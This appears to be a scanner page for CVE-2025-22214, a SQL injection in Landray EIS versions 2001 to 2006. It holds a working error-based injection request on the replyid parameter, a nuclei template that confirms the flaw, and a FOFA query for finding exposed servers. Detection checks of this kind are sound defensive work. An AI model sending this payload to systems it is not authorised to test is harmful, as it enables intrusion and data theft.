Landray EIS SQL注入漏洞

criticalseverity

1.3%likelihood of exploitation, next 30 days

71%of all CVEs are less likely

Readycheck to confirm it

Landray EIS 2001 through 2006 contains a SQL injection caused by unsanitized input in Message/fi_message_receiver.aspx?replyid=, letting attackers execute arbitrary SQL commands, exploit requires crafted input.

Impact

Attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion.

Fix

Apply input validation and parameterized queries, update to the latest version if available.

How to confirm it

Send: GET /Message/fi_message_receiver.aspx?replyid=1%20and%201=CONVERT(VARCHAR(32),HASHBYTES('MD5','123'),2)--+
Positive when: status_code == 500 and contains_all(body, "202CB962AC59075B964B07152D234B70", "varchar", "Landray")

Run it with nuclei: nuclei -id CVE-2025-22214 -u <target>

The full check

id: CVE-2025-22214

info:
  name: Landray EIS SQL注入漏洞
  author: Ark
  severity: critical
  description: |
    Landray EIS 2001 through 2006 contains a SQL injection caused by unsanitized input in Message/fi_message_receiver.aspx?replyid=, letting attackers execute arbitrary SQL commands, exploit requires crafted input.
  impact: |
    Attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion.
  remediation: |
    Apply input validation and parameterized queries, update to the latest version if available.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-22214
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="/jquery.landray.dialog.js"
  tags: cve,cve2025,landray,sqli,intrusive,vuln,vkev

http:
  - raw:
      - |
        GET /Message/fi_message_receiver.aspx?replyid=1%20and%201=CONVERT(VARCHAR(32),HASHBYTES('MD5','123'),2)--+ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 500'
          - 'contains_all(body, "202CB962AC59075B964B07152D234B70", "varchar", "Landray")'
        condition: and

References

https://nvd.nist.gov/vuln/detail/CVE-2025-22214

Use this check only on systems you are authorised to test. Where the data comes from